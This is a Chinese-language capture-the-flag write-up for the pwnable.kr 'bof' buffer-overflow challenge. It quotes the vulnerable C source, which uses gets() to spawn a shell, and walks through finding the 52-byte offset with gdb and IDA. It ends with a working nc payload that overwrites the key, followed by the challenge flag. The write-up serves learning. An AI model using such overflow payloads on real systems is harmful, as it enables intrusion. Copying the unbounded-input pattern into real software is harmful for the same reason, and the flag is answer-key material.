linux下的所谓的简单的缓冲区溢出的题


这是题目链接中给的bof.c源代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

看到这个题,简直要疯了有没有

key的初始值不是0xdeadbeef吗?在func函数中又没有过变化,怎么可能会变呢?

但是必须要进去啊!


于是想到了缓冲区溢出的方法:把overflowme这个字符串覆盖掉,使其溢出,然后key这个参数的值是我自己写入的0xcafebabe的编码,就能够执行了

那么关键问题来了,缓冲区长度多少?


推荐链接:

https://www.youtube.com/watch?v=Nmoi9UoiuBM


这个地址中有pwnable.kr的前4个题的视频教学


推荐方向1:gdb调试,这个是万能武器

因为知道是缓冲区溢出,所以先把长度输入成无限长,如1000个字符(申请的内存是32个,那么必须溢出,找到溢出点)

下面是用python产生随机字符串的代码:

# -*-coding:utf-8 -*-

import string
import random

f=open("E:\\CTF\\pwn\\getstring.txt","w+")

s=string.digits+string.letters
for i in range(0,1000):
	f.write(random.choice(s))

f.close()

下载bof,然后把这段代码放入gdb中断下的bof下运行,查看出错的地址下的各个寄存器的值,eip的值的是哪些字母,然后返回到原串去寻找,就知道溢出点在哪儿了

膜拜大神一发:http://www.neverenough.info/?p=214


推荐方向2:用IDA(windows下工具)

https://www.sco4x0.com/archives/pwnable-Toddler-s-Bottle-bof.html

这个里面有很多底层的知识,比如说栈帧

整个func的函数空间是48h:看到上面的截图,s的起始地址是sp+1ch,终止地址是bp-2ch,可以算出来长度是0x1c+0x2c=0x48

然后加上0x8,是因为arg_0这个值为8

比较的地方是cmp bp+0x8与硬编码的数值比较

所以,需要覆盖的长度是0x2C+0x8=52个字节(当然,链接中的算法也是对的)


最终可以得到flag的代码很简单:

(python –c “print ‘a’*52 + ‘\xbe\xba\xfe\xca’ ”’;cat - ) | nc pwnable.kr 9000

flag为:
daddy, I just pwned a buFFer :)

这个题,虽说是一个很简单的缓冲区溢出

但是从中可以学到很多另外的东西:

如gdb调试,python输入输出,脚本连接到其他网站,IDA的使用等


这也就是所谓的注重基础吧,加油